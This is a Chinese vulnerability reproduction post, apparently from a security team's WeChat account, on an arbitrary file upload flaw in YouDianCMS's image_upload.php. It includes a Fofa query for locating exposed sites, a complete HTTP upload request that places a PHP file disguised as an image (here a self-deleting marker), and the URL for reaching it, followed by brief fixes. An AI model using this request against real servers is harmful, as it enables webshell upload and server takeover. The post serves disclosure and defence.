友点CMS image_upload.php 任意文件上传漏洞

产品简介

《友点企业网站管理系统》（YouDianCMS系统）集电脑网站、手机网站、微信、APP、小程序于一体，共用空间，数据自动同步，是五合一企业建站专业解决方案。

漏洞描述

友点CMS image_upload.php 文件 存在任意文件上传漏洞，攻击者可以上传任意文件，获取 WebShell，控制服务器权限，执行任意命令等。

网络空间测绘

Fofa

app="友点建站-CMS"

漏洞复现

POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host:127.0.0.1
Content-Type: multipart/form-data; boundary=---***
User-Agent:Mozilla/5.0(Windows NT 6.1; WOW64; rv:34.0)Gecko/20100101Firefox/34.0
Content-Length:181
Accept-Encoding: gzip, deflate, br
Connection: close

-----***
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: image/jpg

<?phpecho M2M6W2oRSjlV8qncE6KHTmCs6hS4sow7;unlink(__FILE__);?>
-----***--

image.png访问地址：

GET /Public/image/uploads/xxx.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept-Encoding: gzip, deflate, br
Connection: close

修复建议

1、如⾮必要，禁⽌公⽹访问该系统。

2、通过防⽕墙等安全设备设置访问策略，设置⽩名单访问。

3、升级产品到最新版本

原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】友点CMS image_upload.php 任意文件上传漏洞